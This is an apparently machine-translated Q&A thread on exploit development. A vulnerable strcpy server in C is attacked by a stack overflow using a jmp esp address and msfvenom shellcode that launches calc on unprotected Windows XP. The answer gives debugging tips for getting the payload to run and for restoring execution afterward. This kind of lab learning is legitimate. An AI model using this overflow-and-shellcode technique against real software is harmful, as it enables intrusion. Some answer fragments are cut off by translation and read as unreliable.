void deal_msg(unsigned char * buf, int len)
{
unsigned char msg[1024];
strcpy(msg,buf);
//memcpy(msg, buf, len);
puts(msg);
}
void main()
{
// network operation
sock = create_server(port);
len = receive_data(sock, buf);
deal_msg(buf, len);
}如上面的伪代码所示,编译环境是vc6,运行环境是windows sp3 en。不应用其他保护机制,即堆栈可以执行,没有ASLR。
发送数据为'A' * 1024 + addr_of_jmp_esp + shellcode。
我的问题是:
如果使用
msfvenom -p windows/exec cmd=calc.exe -a x86 -b "\x00" -f python、msfvenom生成,在发送数据后,使用x86/shikata_ga_nai的1次迭代对有效负载进行编码,数据发送后不会弹出calc,漏洞将无法工作。但是,如果使用memcpy,则由msfvenom -p windows/exec cmd=calc.exe -a x86 -f python生成的不需要编码的外壳代码可以工作。发布于 2021-08-23 21:05:10
windows/exec cmd=calc.exe),并将一个0xcc放在开始并调试它(或者在调试器下很容易识别的东西,如ud2或\0xeb\0xfe)。如果您的有效载荷被执行,您将看到它。绕过添加的指令(只是NOP ),看看剩余的有效载荷可能会出现什么问题。deal_msg)在正常情况下的行为。注意执行ret时的堆栈地址(如果寄存器需要有某些值,这取决于调用方)。main)堆栈没有受到影响。这种情况可能会发生,在这种情况下,可以在堆栈上预留足够的空间(降低地址),因此调用方堆栈远离有效负载所需的堆栈空间,并且不会受到有效负载执行的影响。deal_msg函数之后直接返回(或者您认为合适的地方,例如直接返回到ExitProcess(),但是返回到以前的“正常”执行路径可能更有趣)。总之,
push <addr>和ret,但是您需要确保堆栈处于良好的状态才能继续执行,并且大多数寄存器都已正确设置。https://stackoverflow.com/questions/68727726
复制相似问题